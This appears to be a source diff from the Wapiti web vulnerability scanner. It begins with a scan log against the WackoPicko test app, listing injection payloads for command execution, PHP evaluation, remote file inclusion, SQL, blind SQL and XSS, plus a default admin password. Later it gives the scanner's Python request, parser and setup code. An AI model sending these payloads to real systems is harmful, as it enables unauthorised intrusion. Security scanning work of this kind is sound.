POST /users/WackoPicko/website/admin/index.php?page=%3Benv HTTP/1.1
|
||||
Host: wackopicko
|
||||
Referer: http://wackopicko/admin/index.php?page=login
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
adminname=default&password=letmein
|
||||
---
|
||||
---
|
||||
PHP evaluation in http://wackopicko/admin/index.php via injection in the parameter page
|
||||
Evil request:
|
||||
POST /users/WackoPicko/website/admin/index.php?page=data%3A%3Bbase64%2CPD9waHAgZWNobyAndzRwMXQxJywnX2V2YWwnOyA%2FPg%3D%3D HTTP/1.1
|
||||
Host: wackopicko
|
||||
Referer: http://wackopicko/admin/index.php?page=login
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
adminname=default&password=letmein
|
||||
---
|
||||
|
||||
[*] Launching module file
|
||||
---
|
||||
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
|
||||
Evil request:
|
||||
GET /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
|
||||
Host: wackopicko
|
||||
---
|
||||
---
|
||||
Remote inclusion vulnerability in http://wackopicko/admin/index.php via injection in the parameter page
|
||||
Evil request:
|
||||
POST /users/WackoPicko/website/admin/index.php?page=http%3A%2F%2Fwww.google.fr%2F%3F HTTP/1.1
|
||||
Host: wackopicko
|
||||
Referer: http://wackopicko/admin/index.php?page=login
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
adminname=default&password=letmein
|
||||
---
|
||||
|
||||
[*] Launching module sql
|
||||
---
|
||||
Received a HTTP 500 error in http://wackopicko/admin/index.php
|
||||
Evil request:
|
||||
GET /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
|
||||
Host: wackopicko
|
||||
---
|
||||
---
|
||||
Received a HTTP 500 error in http://wackopicko/admin/index.php
|
||||
Evil request:
|
||||
POST /users/WackoPicko/website/admin/index.php?page=%C2%BF%27%22%28 HTTP/1.1
|
||||
Host: wackopicko
|
||||
Referer: http://wackopicko/admin/index.php?page=login
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
adminname=default&password=letmein
|
||||
---
|
||||
|
||||
[*] Launching module xss
|
||||
---
|
||||
XSS vulnerability in http://wackopicko/pictures/search.php via injection in the parameter query
|
||||
Evil request:
|
||||
GET /users/WackoPicko/website/pictures/search.php?query=%22%2F%3E%3Cscript%3Ealert%28%27wj6bncic12%27%29%3C%2Fscript%3E&x=1&y=1 HTTP/1.1
|
||||
Host: wackopicko
|
||||
Referer: http://wackopicko/
|
||||
---
|
||||
|
||||
[*] Launching module blindsql
|
||||
---
|
||||
Received a HTTP 500 error in http://wackopicko/admin/index.php
|
||||
Evil request:
|
||||
GET /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
|
||||
Host: wackopicko
|
||||
---
|
||||
---
|
||||
Received a HTTP 500 error in http://wackopicko/admin/index.php
|
||||
Evil request:
|
||||
POST /users/WackoPicko/website/admin/index.php?page=sleep%287%29%231 HTTP/1.1
|
||||
Host: wackopicko
|
||||
Referer: http://wackopicko/admin/index.php?page=login
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
adminname=default&password=letmein
|
||||
---
|
||||
|
||||
[*] Launching module permanentxss
|
||||
|
||||
Report
|
||||
------
|
||||
A report has been generated in the file /home/devloop/.wapiti/generated_report
|
||||
Open /home/devloop/.wapiti/generated_report/wackopicko_12292017_1342.html with a browser to see this report.
|
Binary file not shown.
|
@ -0,0 +1,615 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from urllib.parse import urlparse, quote
|
||||
import posixpath
|
||||
from copy import deepcopy
|
||||
|
||||
|
||||
def shell_escape(s: str):
|
||||
s = s.replace('\\', '\\\\')
|
||||
s = s.replace('"', '\\"')
|
||||
s = s.replace('$', '\\$')
|
||||
s = s.replace('!', '\\!')
|
||||
s = s.replace('`', '\\`')
|
||||
return s
|
||||
|
||||
|
||||
class Request:
|
||||
def __init__(
|
||||
self, path: str, method: str = "",
|
||||
get_params: list = None, post_params: list = None, file_params: list = None,
|
||||
encoding: str = "UTF-8", multipart: bool = False, referer: str = "", link_depth: int = 0):
|
||||
"""Create a new Request object.
|
||||
|
||||
Takes the following arguments:
|
||||
path : The path of the HTTP resource on the server. It can contain a query string.
|
||||
get_params : A list of key/value parameters (each one is a list of two string).
|
||||
Each string should already be urlencoded in the good encoding format.
|
||||
post_params : Same structure as above but specify the parameters sent in the HTTP body.
|
||||
file_params : Same as above expect the values are a tuple (filename, file_content).
|
||||
encoding : A string specifying the encoding used to send data to this URL.
|
||||
Don't mistake it with the encoding of the webpage pointed out by the Request.
|
||||
referer : The URL from which the current Request was found.
|
||||
"""
|
||||
self._resource_path = path.split("#")[0]
|
||||
|
||||
# Most of the members of a Request object are immutable so we compute
|
||||
# the data only one time (when asked for) and we keep it in memory for less
|
||||
# calculations in those "cached" vars.
|
||||
self._cached_url = ""
|
||||
self._cached_get_keys = None
|
||||
self._cached_post_keys = None
|
||||
self._cached_file_keys = None
|
||||
self._cached_encoded_params = None
|
||||
self._cached_encoded_data = None
|
||||
self._cached_encoded_files = None
|
||||
self._cached_hash = None
|
||||
self._multipart = multipart
|
||||
self._cached_hash_params = None
|
||||
self._status = None
|
||||
|
||||
# same structure as _get_params, see below
|
||||
if not post_params:
|
||||
# None or empty string or empty list
|
||||
self._post_params = []
|
||||
else:
|
||||
if isinstance(post_params, list):
|
||||
# Non empty list
|
||||
self._post_params = deepcopy(post_params)
|
||||
elif isinstance(post_params, str):
|
||||
self._post_params = []
|
||||
if len(post_params):
|
||||
for kv in post_params.split("&"):
|
||||
if kv.find("=") > 0:
|
||||
self._post_params.append(kv.split("=", 1))
|
||||
else:
|
||||
# ?param without value
|
||||
self._post_params.append([kv, None])
|
||||
|
||||
# eg: files = [['file_field', ('file_name', 'file_content')]]
|
||||
if not file_params:
|
||||
self._file_params = []
|
||||
else:
|
||||
if isinstance(file_params, list):
|
||||
self._file_params = deepcopy(file_params)
|
||||
else:
|
||||
self._file_params = file_params
|
||||
|
||||
# eg: get = [['id', '25'], ['color', 'green']]
|
||||
if not get_params:
|
||||
self._get_params = []
|
||||
if "?" in self._resource_path:
|
||||
query_string = urlparse(self._resource_path).query
|
||||
for kv in query_string.split("&"):
|
||||
if kv.find("=") > 0:
|
||||
self._get_params.append(kv.split("=", 1))
|
||||
else:
|
||||
# ?param without value
|
||||
self._get_params.append([kv, None])
|
||||
self._resource_path = self._resource_path.split("?")[0]
|
||||
else:
|
||||
if isinstance(get_params, list):
|
||||
self._resource_path = self._resource_path.split("?")[0]
|
||||
self._get_params = deepcopy(get_params)
|
||||
else:
|
||||
self._get_params = get_params
|
||||
|
||||
if not method:
|
||||
# For lazy
|
||||
if self._post_params or self._file_params:
|
||||
self._method = "POST"
|
||||
else:
|
||||
self._method = "GET"
|
||||
else:
|
||||
self._method = method
|
||||
self._encoding = encoding
|
||||
self._referer = referer
|
||||
self._link_depth = link_depth
|
||||
parsed = urlparse(self._resource_path)
|
||||
self._file_path = parsed.path
|
||||
self._hostname = parsed.netloc
|
||||
self._port = 80
|
||||
if parsed.port is not None:
|
||||
self._port = parsed.port
|
||||
elif parsed.scheme == "https":
|
||||
self._port = 443
|
||||
self._headers = None
|
||||
self._start_time = None
|
||||
self._duration = -1
|
||||
self._size = 0
|
||||
self._path_id = None
|
||||
|
||||
# TODO: hashable objects should be read-only. Currently the Mutator get a deepcopy of params to play with but
|
||||
# having read-only params in Request class would be more Pythonic. More work on the Mutator in a future version ?
|
||||
def __hash__(self):
|
||||
if self._cached_hash is None:
|
||||
get_kv = tuple([tuple(param) for param in self._get_params])
|
||||
post_kv = tuple([tuple(param) for param in self._post_params])
|
||||
file_kv = tuple([tuple([param[0], param[1][0]]) for param in self._file_params])
|
||||
|
||||
self._cached_hash = hash((self._method, self._resource_path, get_kv, post_kv, file_kv))
|
||||
return self._cached_hash
|
||||
|
||||
def __eq__(self, other):
|
||||
if not isinstance(other, Request):
|
||||
return NotImplemented
|
||||
|
||||
if self._method != other.method:
|
||||
return False
|
||||
|
||||
if self._resource_path != other.path:
|
||||
return False
|
||||
|
||||
return hash(self) == hash(other)
|
||||
|
||||
def __lt__(self, other):
|
||||
if not isinstance(other, Request):
|
||||
return NotImplemented
|
||||
if self.url < other.url:
|
||||
return True
|
||||
else:
|
||||
if self.url == other.url:
|
||||
return self.encoded_data < other.encoded_data
|
||||
return False
|
||||
|
||||
def __le__(self, other):
|
||||
if not isinstance(other, Request):
|
||||
return NotImplemented
|
||||
if self.url < other.url:
|
||||
return True
|
||||
elif self.url == other.url:
|
||||
return self.encoded_data <= other.encoded_data
|
||||
return False
|
||||
|
||||
def __ne__(self, other):
|
||||
if not isinstance(other, Request):
|
||||
return NotImplemented
|
||||
|
||||
if self.method != other.method:
|
||||
return True
|
||||
|
||||
if self._resource_path != other.path:
|
||||
return True
|
||||
|
||||
return hash(self) != hash(other)
|
||||
|
||||
def __gt__(self, other):
|
||||
if not isinstance(other, Request):
|
||||
return NotImplemented
|
||||
if self.url > other.url:
|
||||
return True
|
||||
elif self.url == other.url:
|
||||
return self.encoded_data > other.encoded_data
|
||||
return False
|
||||
|
||||
def __ge__(self, other):
|
||||
if not isinstance(other, Request):
|
||||
return NotImplemented
|
||||
if self.url > other.url:
|
||||
return True
|
||||
elif self.url == other.url:
|
||||
return self.encoded_data >= other.encoded_data
|
||||
return False
|
||||
|
||||
def __len__(self):
|
||||
return len(self.get_params) + len(self._post_params) + len(self._file_params)
|
||||
|
||||
@staticmethod
|
||||
def _encoded_keys(params):
|
||||
return "&".join([quote(key, safe='%') for key in sorted(kv[0] for kv in params)])
|
||||
|
||||
def __repr__(self):
|
||||
if self._get_params:
|
||||
buff = "{0} {1} ({2})".format(self._method, self.url, self._link_depth)
|
||||
else:
|
||||
buff = "{0} {1} ({2})".format(self._method, self._resource_path, self._link_depth)
|
||||
if self._post_params:
|
||||
buff += "\n\tdata: {}".format(self.encoded_data)
|
||||
if self._file_params:
|
||||
buff += "\n\tfiles: {}".format(self.encoded_files)
|
||||
return buff
|
||||
|
||||
def http_repr(self, left_margin=" "):
|
||||
rel_url = self.url.split('/', 3)[3]
|
||||
http_string = "{3}{0} /{1} HTTP/1.1\n{3}Host: {2}\n".format(
|
||||
self._method,
|
||||
rel_url,
|
||||
self._hostname,
|
||||
left_margin
|
||||
)
|
||||
|
||||
if self._referer:
|
||||
http_string += "{}Referer: {}\n".format(left_margin, self._referer)
|
||||
|
||||
if self._file_params:
|
||||
boundary = "------------------------boundarystring"
|
||||
http_string += "{}Content-Type: multipart/form-data; boundary={}\n\n".format(left_margin, boundary)
|
||||
for field_name, field_value in self._post_params:
|
||||
http_string += (
|
||||
"{3}{0}\n{3}Content-Disposition: form-data; "
|
||||
"name=\"{1}\"\n\n{3}{2}\n"
|
||||
).format(boundary, field_name, field_value, left_margin)
|
||||
for field_name, field_value in self._file_params:
|
||||
http_string += (
|
||||
"{3}{0}\n{3}Content-Disposition: form-data; name=\"{1}\"; filename=\"{2}\"\n\n"
|
||||
"{3}/* snip file content snip */\n").format(boundary, field_name, field_value[0], left_margin)
|
||||
http_string += "{0}--\n".format(boundary)
|
||||
elif self._post_params:
|
||||
http_string += "{}Content-Type: application/x-www-form-urlencoded\n".format(left_margin)
|
||||
http_string += "\n{}{}".format(left_margin, self.encoded_data)
|
||||
|
||||
return http_string.rstrip()
|
||||
|
||||
@property
|
||||
def curl_repr(self):
|
||||
curl_string = "curl \"{0}\"".format(shell_escape(self.url))
|
||||
if self._referer:
|
||||
curl_string += " -e \"{0}\"".format(shell_escape(self._referer))
|
||||
if self._file_params:
|
||||
for field_name, field_value in self._post_params:
|
||||
curl_string += " -F \"{0}\"".format(shell_escape("{0}={1}".format(field_name, field_value)))
|
||||
for field_name, field_value in self._file_params:
|
||||
curl_upload_kv = "{0}=@your_local_file;filename={1}".format(field_name, field_value[0])
|
||||
curl_string += " -F \"{0}\"".format(shell_escape(curl_upload_kv))
|
||||
pass
|
||||
elif self._post_params:
|
||||
curl_string += " -d \"{0}\"".format(shell_escape(self.encoded_data))
|
||||
|
||||
return curl_string
|
||||
|
||||
def set_headers(self, response_headers):
|
||||
"""Set the HTTP headers received while requesting the resource"""
|
||||
self._headers = response_headers
|
||||
|
||||
@property
|
||||
def size(self):
|
||||
return self._size
|
||||
|
||||
@size.setter
|
||||
def size(self, value: int):
|
||||
self._size = value
|
||||
|
||||
@property
|
||||
def duration(self):
|
||||
return self._duration
|
||||
|
||||
@duration.setter
|
||||
def duration(self, value: float):
|
||||
self._duration = value
|
||||
|
||||
@property
|
||||
def status(self) -> int:
|
||||
return self._status
|
||||
|
||||
@status.setter
|
||||
def status(self, value: int):
|
||||
self._status = value
|
||||
|
||||
@property
|
||||
def url(self) -> str:
|
||||
if not self._cached_url:
|
||||
if self._get_params:
|
||||
self._cached_url = "{0}?{1}".format(
|
||||
self._resource_path,
|
||||
self._encode_params(self._get_params)
|
||||
)
|
||||
else:
|
||||
self._cached_url = self._resource_path
|
||||
return self._cached_url
|
||||
|
||||
@property
|
||||
def hostname(self) -> str:
|
||||
return self._hostname
|
||||
|
||||
@property
|
||||
def port(self):
|
||||
return self._port
|
||||
|
||||
@property
|
||||
def path(self):
|
||||
return self._resource_path
|
||||
|
||||
@property
|
||||
def file_path(self):
|
||||
return self._file_path
|
||||
|
||||
@property
|
||||
def is_root(self) -> bool:
|
||||
return True if self._file_path == "/" else False
|
||||
|
||||
@property
|
||||
def file_ext(self) -> str:
|
||||
return posixpath.splitext(self._file_path)[1].lower()
|
||||
|
||||
@property
|
||||
def file_name(self) -> str:
|
||||
return posixpath.basename(self._file_path)
|
||||
|
||||
@property
|
||||
def dir_name(self):
|
||||
if self.file_name:
|
||||
return posixpath.dirname(self._resource_path) + "/"
|
||||
return self._resource_path
|
||||
|
||||
@property
|
||||
def parent_dir(self):
|
||||
if self.file_name:
|
||||
return posixpath.dirname(self._resource_path) + "/"
|
||||
elif self.is_root:
|
||||
return self._resource_path
|
||||
else:
|
||||
return posixpath.dirname(posixpath.dirname(self._resource_path)) + "/"
|
||||
|
||||
@property
|
||||
def method(self) -> str:
|
||||
return self._method
|
||||
|
||||
@property
|
||||
def encoding(self) -> str:
|
||||
return self._encoding
|
||||
|
||||
@property
|
||||
def is_multipart(self) -> bool:
|
||||
return self._multipart
|
||||
|
||||
@property
|
||||
def headers(self):
|
||||
return self._headers
|
||||
|
||||
@property
|
||||
def referer(self) -> str:
|
||||
return self._referer
|
||||
|
||||
@property
|
||||
def link_depth(self) -> int:
|
||||
return self._link_depth
|
||||
|
||||
@link_depth.setter
|
||||
def link_depth(self, value: int):
|
||||
self._link_depth = value
|
||||
|
||||
# To prevent errors, always return a deepcopy of the internal lists
|
||||
@property
|
||||
def get_params(self):
|
||||
# Return a list of lists containing two elements (parameter name and parameter value)
|
||||
return deepcopy(self._get_params)
|
||||
|
||||
@property
|
||||
def post_params(self):
|
||||
return deepcopy(self._post_params)
|
||||
|
||||
@property
|
||||
def file_params(self):
|
||||
return deepcopy(self._file_params)
|
||||
|
||||
@property
|
||||
def get_keys(self):
|
||||
if len(self._get_params):
|
||||
return list(zip(*self._get_params))[0]
|
||||
return ()
|
||||
|
||||
@property
|
||||
def post_keys(self):
|
||||
if len(self._post_params):
|
||||
return list(zip(*self._post_params))[0]
|
||||
return ()
|
||||
|
||||
@property
|
||||
def file_keys(self):
|
||||
if len(self._file_params):
|
||||
return list(zip(*self._file_params))[0]
|
||||
return ()
|
||||
|
||||
@staticmethod
|
||||
def _encode_params(params):
|
||||
if not params:
|
||||
return ""
|
||||
|
||||
key_values = []
|
||||
for k, v in params:
|
||||
k = quote(k, safe='%')
|
||||
if v is None:
|
||||
key_values.append(k)
|
||||
else:
|
||||
if isinstance(v, tuple) or isinstance(v, list):
|
||||
# for upload fields
|
||||
v = v[0]
|
||||
v = quote(v, safe='%')
|
||||
key_values.append("%s=%s" % (k, v))
|
||||
return "&".join(key_values)
|
||||
|
||||
@property
|
||||
def encoded_params(self):
|
||||
return self._encode_params(self._get_params)
|
||||
|
||||
@property
|
||||
def encoded_data(self):
|
||||
"""Return a raw string of key/value parameters for POST requests"""
|
||||
return self._encode_params(self._post_params)
|
||||
|
||||
@property
|
||||
def encoded_files(self):
|
||||
return self._encode_params(self._file_params)
|
||||
|
||||
@property
|
||||
def encoded_get_keys(self):
|
||||
if self._cached_get_keys is None:
|
||||
self._cached_get_keys = self._encoded_keys(self._get_params)
|
||||
return self._cached_get_keys
|
||||
|
||||
@property
|
||||
def encoded_post_keys(self):
|
||||
if self._cached_post_keys is None:
|
||||
self._cached_post_keys = self._encoded_keys(self._post_params)
|
||||
return self._cached_post_keys
|
||||
|
||||
@property
|
||||
def encoded_file_keys(self):
|
||||
if self._cached_file_keys is None:
|
||||
self._cached_file_keys = self._encoded_keys(self._file_params)
|
||||
return self._cached_file_keys
|
||||
|
||||
@property
|
||||
def encoded_keys(self):
|
||||
return "{}|{}|{}".format(self.encoded_get_keys, self.encoded_post_keys, self.encoded_file_keys)
|
||||
|
||||
@property
|
||||
def pattern(self):
|
||||
return "{}?{}".format(self.path, self.encoded_keys)
|
||||
|
||||
@property
|
||||
def hash_params(self):
|
||||
if self._cached_hash_params is None:
|
||||
self._cached_hash_params = hash(self.pattern)
|
||||
return self._cached_hash_params
|
||||
|
||||
@property
|
||||
def path_id(self):
|
||||
return self._path_id
|
||||
|
||||
@path_id.setter
|
||||
def path_id(self, value: int):
|
||||
self._path_id = value
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
res1 = Request(
|
||||
"http://httpbin.org/post?var1=a&var2=b",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res2 = Request(
|
||||
"http://httpbin.org/post?var1=a&var2=z",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res3 = Request(
|
||||
"http://httpbin.org/post?var1=a&var2=b",
|
||||
post_params=[['post1', 'c'], ['post2', 'z']]
|
||||
)
|
||||
|
||||
res4 = Request(
|
||||
"http://httpbin.org/post?var1=a&var2=b",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res5 = Request(
|
||||
"http://httpbin.org/post?var1=z&var2=b",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res6 = Request(
|
||||
"http://httpbin.org/post?var3=z&var2=b",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res7 = Request(
|
||||
"http://httpbin.org/post?var1=z&var2=b&var4=e",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res8 = Request(
|
||||
"http://httpbin.org/post?var2=d&var1=z",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res10 = Request(
|
||||
"http://httpbin.org/post?qs0",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
res11 = Request(
|
||||
"http://httpbin.org/post?qs1",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']]
|
||||
)
|
||||
|
||||
res12 = Request(
|
||||
"http://httpbin.org/post?qs1",
|
||||
post_params=[['post1', 'c'], ['post2', 'd']],
|
||||
file_params=[['file1', ['fname1', 'content']], ['file2', ['fname2', 'content']]]
|
||||
)
|
||||
|
||||
res13 = Request("https://www.youtube.com/user/OneMinuteSilenceBand/videos")
|
||||
res14 = Request("https://www.youtube.com/user/OneMinuteSilenceBand/")
|
||||
res15 = Request("https://duckduckgo.com/")
|
||||
res16 = Request("https://duckduckgo.com/", post_params=[['q', 'Kung Fury']])
|
||||
res17 = Request("http://example.com:8080/dir/?x=3")
|
||||
|
||||
res18 = Request(
|
||||
"http://httpbin.org/get?a=1",
|
||||
get_params=[['get1', 'c'], ['get2', 'd']]
|
||||
)
|
||||
|
||||
assert res1 < res2
|
||||
assert res2 > res3
|
||||
assert res1 < res3
|
||||
assert res1 == res4
|
||||
assert hash(res1) == hash(res4)
|
||||
res4.link_depth = 5
|
||||
assert hash(res1) == hash(res4)
|
||||
assert res1 != res2
|
||||
assert res2 >= res1
|
||||
assert res1 <= res3
|
||||
assert res13.file_name == "videos"
|
||||
assert res10.path == "http://httpbin.org/post"
|
||||
assert res10.file_name == "post"
|
||||
assert res10.url == "http://httpbin.org/post?qs0"
|
||||
assert res13.parent_dir == res14.url
|
||||
assert res15.is_root
|
||||
assert res15.parent_dir == res15.url
|
||||
assert res13.dir_name == res14.url
|
||||
assert res14.dir_name == res14.url
|
||||
assert res15.dir_name == res15.url
|
||||
assert res15 != res16
|
||||
query_list = [res15]
|
||||
assert res16 not in query_list
|
||||
assert res17.dir_name == "http://example.com:8080/dir/"
|
||||
assert res18.url == "http://httpbin.org/get?get1=c&get2=d"
|
||||
assert res17.hostname == "example.com:8080"
|
||||
assert res1.encoded_get_keys == res8.encoded_get_keys
|
||||
assert res17.encoded_get_keys == "x"
|
||||
assert res16.encoded_get_keys == ""
|
||||
assert len(res12) == 5
|
||||
assert res12.encoded_get_keys == "qs1"
|
||||
assert res5.hash_params == res8.hash_params
|
||||
assert res7.hash_params != res8.hash_params
|
||||
|
||||
print("Tests were successful, now launching representations")
|
||||
print("=== Basic representation follows ===")
|
||||
print(res1)
|
||||
print("=== cURL representation follows ===")
|
||||
print(res1.curl_repr)
|
||||
print("=== HTTP representation follows ===")
|
||||
print(res1.http_repr())
|
||||
print("=== POST parameters as an array ===")
|
||||
print(res1.post_params)
|
||||
print("=== POST keys encoded as string ===")
|
||||
print(res1.encoded_post_keys)
|
||||
print("=== Upload HTTP representation ===")
|
||||
print(res12.http_repr())
|
||||
print("=== Upload basic representation ===")
|
||||
print(res12)
|
||||
print("=== Upload cURL representation ===")
|
||||
print(res12.curl_repr)
|
||||
print("=== HTTP GET keys as a tuple ===")
|
||||
print(res1.get_keys)
|
||||
print("=== HTTP POST keys as a tuple ===")
|
||||
print(res1.post_keys)
|
||||
print("=== HTTP files keys as a tuple ===")
|
||||
print(res12.file_keys)
|
||||
print('')
|
|
@ -0,0 +1,103 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# Original author :
|
||||
# David del Pozo
|
||||
# Alberto Pastor
|
||||
# Copyright (C) 2008 Informatica Gesfor
|
||||
# ICT Romulus (http://www.ict-romulus.eu)
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from xml.parsers import expat
|
||||
|
||||
from wapitiCore.language.vulnerability import Vulnerability
|
||||
|
||||
|
||||
class VulnerabilityXMLParser:
|
||||
|
||||
VULNERABILITY = "vulnerability"
|
||||
VULNERABILITY_NAME = "name"
|
||||
VULNERABILITY_DESCRIPTION = "description"
|
||||
VULNERABILITY_SOLUTION = "solution"
|
||||
VULNERABILITY_REFERENCE = "reference"
|
||||
VULNERABILITY_REFERENCES = "references"
|
||||
VULNERABILITY_REFERENCE_TITLE = "title"
|
||||
VULNERABILITY_REFERENCE_URL = "url"
|
||||
|
||||
def __init__(self):
|
||||
self._parser = expat.ParserCreate()
|
||||
self._parser.StartElementHandler = self.start_element
|
||||
self._parser.EndElementHandler = self.end_element
|
||||
self._parser.CharacterDataHandler = self.char_data
|
||||
self.vulnerabilities = []
|
||||
self.vul = None
|
||||
self.references = {}
|
||||
self.title = ""
|
||||
self.url = ""
|
||||
self.tag = ""
|
||||
|
||||
def parse(self, filename):
|
||||
with open(filename) as f:
|
||||
content = f.read()
|
||||
self.feed(content)
|
||||
|
||||
def feed(self, data):
|
||||
self._parser.Parse(data, 0)
|
||||
|
||||
def close(self):
|
||||
self._parser.Parse("", 1)
|
||||
del self._parser
|
||||
|
||||
def start_element(self, name, attrs):
|
||||
if name == self.VULNERABILITY:
|
||||
self.vul = Vulnerability()
|
||||
self.vul.set_name(attrs[self.VULNERABILITY_NAME])
|
||||
elif name == self.VULNERABILITY_DESCRIPTION:
|
||||
self.tag = self.VULNERABILITY_DESCRIPTION
|
||||
elif name == self.VULNERABILITY_SOLUTION:
|
||||
# self.tag = self.VULNERABILITY_SOLUTION
|
||||
self.vul.set_solution(attrs["text"])
|
||||
elif name == self.VULNERABILITY_REFERENCES:
|
||||
self.references = {}
|
||||
elif name == self.VULNERABILITY_REFERENCE:
|
||||
self.tag = self.VULNERABILITY_REFERENCE
|
||||
elif name == self.VULNERABILITY_REFERENCE_TITLE:
|
||||
self.tag = self.VULNERABILITY_REFERENCE_TITLE
|
||||
elif name == self.VULNERABILITY_REFERENCE_URL:
|
||||
self.tag = self.VULNERABILITY_REFERENCE_URL
|
||||
|
||||
def end_element(self, name):
|
||||
if name == self.VULNERABILITY:
|
||||
self.vulnerabilities.append(self.vul)
|
||||
elif name == self.VULNERABILITY_REFERENCE:
|
||||
self.references[self.title] = self.url
|
||||
elif name == self.VULNERABILITY_REFERENCES:
|
||||
self.vul.set_references(self.references)
|
||||
|
||||
def char_data(self, data):
|
||||
if self.tag == self.VULNERABILITY_DESCRIPTION:
|
||||
self.vul.set_description(data)
|
||||
# elif self.tag==self.VULNERABILITY_SOLUTION:
|
||||
# self.vul.set_solution(data)
|
||||
elif self.tag == self.VULNERABILITY_REFERENCE_TITLE:
|
||||
self.title = data
|
||||
elif self.tag == self.VULNERABILITY_REFERENCE_URL:
|
||||
self.url = data
|
||||
self.tag = ""
|
||||
|
||||
def get_vulnerabilities(self):
|
||||
return self.vulnerabilities
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,24 @@
|
|||
from urllib.parse import quote, unquote
|
||||
import html
|
||||
|
||||
|
||||
def encode(params_list):
|
||||
"""Encode a sequence of two-element lists or dictionary into a URL query string."""
|
||||
encoded_params = []
|
||||
for k, v in params_list:
|
||||
# not safe: '&=#' with of course quotes...
|
||||
k = quote(k, safe='/%[]:;$()+,!?*')
|
||||
v = quote(v, safe='/%[]:;$()+,!?*')
|
||||
encoded_params.append("%s=%s" % (k, v))
|
||||
return "&".join(encoded_params)
|
||||
|
||||
|
||||
def uqe(self, params_list): # , encoding = None):
|
||||
"""urlencode a string then interpret the hex characters (%41 will give 'A')."""
|
||||
return unquote(self.encode(params_list)) # , encoding))
|
||||
|
||||
|
||||
def escape(url):
|
||||
"""Change special characters in their html entities representation."""
|
||||
return html.escape(url, quote=True).replace("'", "%27")
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
#!/usr/bin/env python3
|
||||
from setuptools import setup, find_packages
|
||||
|
||||
VERSION = "3.0.1"
|
||||
DOC_DIR = "share/doc/wapiti"
|
||||
|
||||
doc_and_conf_files = [
|
||||
(
|
||||
DOC_DIR,
|
||||
[
|
||||
"doc/AUTHORS",
|
||||
"doc/ChangeLog_Wapiti",
|
||||
"doc/ChangeLog_lswww",
|
||||
"doc/example.txt",
|
||||
"doc/FAQ.md",
|
||||
"doc/wapiti.1.html",
|
||||
"doc/wapiti.ronn",
|
||||
"doc/wapiti-getcookie.1.html",
|
||||
"doc/wapiti-getcookie.ronn",
|
||||
"INSTALL.md",
|
||||
"README.md",
|
||||
"VERSION"
|
||||
]
|
||||
),
|
||||
(
|
||||
"share/man/man1",
|
||||
[
|
||||
"doc/wapiti.1",
|
||||
"doc/wapiti-getcookie.1"
|
||||
]
|
||||
)
|
||||
]
|
||||
|
||||
parser_name = "html5lib"
|
||||
|
||||
# Main
|
||||
setup(
|
||||
name="wapiti3",
|
||||
version=VERSION,
|
||||
description="A web application vulnerability scanner",
|
||||
long_description="""\
|
||||
Wapiti allows you to audit the security of your web applications.
|
||||
It performs "black-box" scans, i.e. it does not study the source code of the
|
||||
application but will scans the webpages of the deployed webapp, looking for
|
||||
scripts and forms where it can inject data.
|
||||
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see
|
||||
if a script is vulnerable.""",
|
||||
url="http://wapiti.sourceforge.net/",
|
||||
author="Nicolas Surribas",
|
||||
author_email="nicolas.surribas@gmail.com",
|
||||
license="GPLv2",
|
||||
platforms=["Any"],
|
||||
packages=find_packages(),
|
||||
data_files=doc_and_conf_files,
|
||||
include_package_data=True,
